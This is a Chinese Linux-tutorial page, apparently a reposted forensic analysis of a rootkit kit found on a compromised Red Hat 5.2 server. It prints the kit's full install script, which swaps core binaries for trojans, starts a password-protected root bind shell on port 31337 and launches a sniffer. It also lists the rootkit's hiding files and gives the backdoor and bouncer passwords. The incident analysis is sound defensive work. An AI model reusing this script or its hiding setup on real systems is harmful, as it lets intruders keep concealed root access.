当前位置:Linux教程 - Linux - 分析一机器上被放置的rootkit

分析一机器上被放置的rootkit



        
    BY XUNDI
    [email protected]
    http://www.netguard.com.cn

    这文章是对运行REDHAT5.2上被入侵后的分析,可能使用一个ROOT级的关于
    POP2 daemon(版本4.46)漏洞。



    在/usr/include/rpc/\"..\"下发现了这个KIT,入侵者可能安装了一些后门和木马在系统上以便下一次继续获得ROOT权限访问和更好的隐藏他们的身份。下面是发现的一些文件:

    slimsheet:~/nfo# ls -al

    drwxr-xr-x 9 root root 4096 Dec 31 23:31 kit2/
    -rw-r--r-- 1 root root 459397 Oct 27 14:35 kit_OUT_99.tgz
    -rwxr-xr-x 1 ftp 50 13766 Nov 21 21:36 t666*
    -rwxr-xr-x 1 root root 106096 Nov 20 05:26 wget*

    slimsheet:~/nfo# ls -al kit2/
    -rwxr-xr-x 1 root root 13762 Dec 10 20:55 admbind*
    drwxr-xr-x 2 root root 4096 Sep 29 18:32 bd/
    drwxr-xr-x 2 root root 4096 Jan 2 22:23 bnc/
    -rwxr-xr-x 1 root root 1059 Oct 3 01:49 install*
    drwxr-xr-x 2 root root 4096 Sep 29 18:32 pty/
    -rw-r--r-- 1 root root 1 Dec 31 23:32 readme
    drwxr-xr-x 2 root root 4096 Dec 5 21:44 resetlog/
    drwxr-xr-x 2 root root 4096 Dec 31 23:30 scans/
    drwxr-xr-x 2 root root 4096 Sep 29 18:32 sniff/
    drwxr-xr-x 2 root root 4096 Sep 30 16:21 trojans/




    分析:
    在这个目录中发现3个文件,名字各为:kit_OUT_99.tgz, t666 和 wget,这个kit_OUT_99.tgz是后门KIT的打包文件,其展开后存放在./kit2/里面,wget是用来通过INTERNET接受文件的程序,t666是关于BIND/named--多个操作系统都存在的远程EXPLOIT程序,一般BIND8.2.(X)版本都存在远程漏洞。我继续进入kit2目录,我们发现在同目录下发现另外3个文件,admbind, install 和 readme,Admbind这个程序应该是关于BIND版本的一个远程溢出利用代码,readme文件是目录./sniff/lins记录所有连接的文件,但这个文件字节数为0kb,而install安装文件是一个/bin/sh脚本文件,如下所示:

    #!/bin/sh
    #backup
    echo \"Instalacao do Kit NFO GROUP v1.5\"
    if [ \"$1\" != \"-install\" ]; then
    echo \"Use: ./install -install\" ; echo \"\"
    exit
    fi
    echo -n \"[*] Iniciando Backup...\"
    /bin/cp /bin/ls /usr/doc/.sl
    /bin/cp /bin/ps /usr/doc/.sp
    /bin/cp /bin/netstat /usr/doc/.statnet
    /bin/cp /usr/sbin/syslogd /usr/doc/.logdsys
    /bin/cp /usr/sbin/tcpd /usr/doc/.dpct
    /bin/cp /sbin/ifconfig /usr/doc/.gifnocfi
    /bin/cp /usr/bin/find /usr/doc/.dnif
    /bin/cp /bin/login /usr/doc/.nigol
    echo \"ok\"

    # instalacao
    echo -n \"[*] Iniciando instalacao...\"
    /bin/cp -f trojans/ls.trj /bin/ls
    /bin/cp -f trojans/ps.trj /bin/ps
    /bin/cp -f trojans/netstat.trj /bin/netstat
    /bin/cp -f trojans/syslogd.trj /usr/sbin/syslogd
    /bin/cp -f trojans/tcpd.trj /usr/sbin/tcpd
    /bin/cp -f trojans/ifconfig.trj /sbin/ifconfig
    /bin/cp -f trojans/find.trj /usr/bin/find
    /bin/cp -f trojans/login.trj /bin/login
    /bin/cp -f pty/pty* /dev/
    echo \"ok\"
    echo -n \"[*] Instalando backdoor...\"
    ./bd/biba 14789632159 lal
    echo \"ok\"
    echo -n \"[*] Sniffando...\"
    ./sniff/lins
    echo \"ok\"
    echo \"Instalacao completa :-)\"
    exit

    目录./bd/中包含一个叫biba的文件,经检查,应该是类似与bindshell.c的拷贝。执行了./biba,其在端口31337端口绑定一个ROOTSHELL,并且命名为syslogd,这样在ROOT运行ps aux的时候会误以为是syslogd在运行而不是后门程序。如果你TELNET这个端口,你不会得到任何显示,其实这个程序是在等待你输入密码以进入系统,如果密码正确,你就得到一个关于/bin/bash的ROOT身份的权限的外壳。经检查后发现密码是#N#F#O#G

    在进入到./bnc/目录,发现是一个关于监听IRC使用的程序BNC,并且里面有一个bnc的配置程序bnc.conf:
    pt:54123 <-------- 这是BNC监听端口.
    ps:ziggylinda <-------- 密码.
    mu:3 <-------- 最大使用连接数
    dp:6667 <-------- IRC默认的连接端口

    而./pty/.目录我们发现了4个文件:
    ptyp, ptyq, ptyr 和 ptys. 都是属于后门和木马的程序,如果使用CAT查看:

    2 lins
    3 biba
    3 sadan
    3 lal
    3 cleans
    3 z2
    3 readme
    3 in.telnetd
    3 promisc
    3 cat
    3 grep
    3 bash
    3 sh
    3 bnc
    3 rpcscan
    3 z0ne

    这个其实是进程隐藏程序,所有在前面有3的条目会隐藏包含在/bin/ps
    中相对应的字符串。如,当它说 3 biba的话,当你执行/bin/ps时不会显示有关biba的任何字符串,如果是 2 lins 它会在隐藏所有应用程序匹配lins的字符串。

    ptyq文件是有关隐藏netstat的信息的文件,

    0 0
    1 200.241
    1 200.244
    1 200.243
    1 200.242
    1 expert.com.br
    1 interconect.com.br
    1 amazonline.com.br
    1 libnet.com.br
    2 200.241
    2 200.242
    2 200.240
    2 200.243
    2 200.242
    2 libnet.com.br
    2 amazonline.com.br
    2 interconect.com.br
    2 amazonline.com.br
    2 14789632159
    2 988889
    3 14789632159
    3 988889
    5 /usr/include/rpc/\".. \"/kit/

    从lrk的ROOTKIT的README文件知道:
    type 0: hide uid
    type 1: hide local address
    type 2: hide remote address
    type 3: hide local port
    type 4: hide remote port
    type 5: hide UNIX socket path

    这里就可以看到攻击者想隐藏从200.241-244和域名为libnet.com.br,
    expert.com.br, amazonline.com.br, interconect.com.br的主机,这些很可能就是入侵者的ISP或者原始连接途径。

    下一个文件是ptyr,任何在此文件里的名字将不会出现在ls/du命令中,如果使用CAT命令就可以看到:
    ptyp
    ptyq
    ptyr
    ptys
    ..

    你可以注意到这些pty*文件被隐藏,和其他一些攻击者存储文件的名字。

    最后一个文件是ptys,其是用来所有在syslogd下的地址,ptys的内容如下:
    200.244
    200.245
    200.241
    200.242
    expert.com.br
    interconect.com.br
    amazonline.com.br
    libnet.com.br

    这样可以保证入侵者所有他们的连接将不会LOG到/var/log/*或者其他syslogd下要记录的文件。

    再进入resetlog目录将看到6个文件,这几个文件实在太大,所以我用\"head -n 5 sadan\"
    来部分查看:
    # [-] Sadan del log v 5.0 - BETA
    # [-] written by the_sphinx to NFO group \99
    # [-] [email protected]
    #
    #!/bin/bash

    从上你可以看到这个脚本是由_sphinx for NFO group 99写的,并且从中可以联系作者[email protected],其中另外还有一个叫sadan-4_0-pt.sh的文件在同一目录下,部分内容为:
    echo; echo ; echo \"[S] SADAN del log 4.0 - PORTUGUES\"
    echo \"[S] sysdenial - [email protected]\"
    echo \"[S] NFO Group OwnZ - Brazil - Out/99\"

    这象是另外一个人写的LOG清除脚本。

    下一个目录是scans,这个是关于网络扫描的目录,里面有两个文件rpcscan和z0ne,z0ne是用来搜集从一个顶级域名来的IP,如,所有*.edu的IP地址,于是我们到resetlog目录中使用find / -name *log* > .logs 找到.logs的文件,这个文件中有以下条目:
    /usr/include/rpc/.. /kit2/scans/mc.log.qpop
    /usr/include/rpc/.. /kit2/scans/no.log.qpop
    /usr/include/rpc/.. /kit2/scans/no.log
    /usr/include/rpc/.. /kit2/scans/200.log

    这里可以看到HACKER已经扫描了*.no和A级网络-200.x.x.x 的漏洞,我们也注意到HACKER扫描*.no或者*.mc有关的QPOP版本漏洞。

    再接下来的目录是sniff包含两个文件,lins是一个Ethernet信息包嗅探器并且默认的LOG文件是./readme,其目录下还有一个promisc文件,这个是一个公开软件用来在网络接口发现SNIFFER的程序。

    对于这个入侵的网络检测

    入侵检测最主要的是你需要知道你的系统上有其他问题是否产生,是否有其他一些不寻常的应用程序在运行,尤其是以UID=0的身份在运行等等,这个需要你对系统有比较熟悉的水平,你可以使用如tripwire ,tcpwrap等软件更容易的来检查系统改变 。
    发布人:netbull 来自: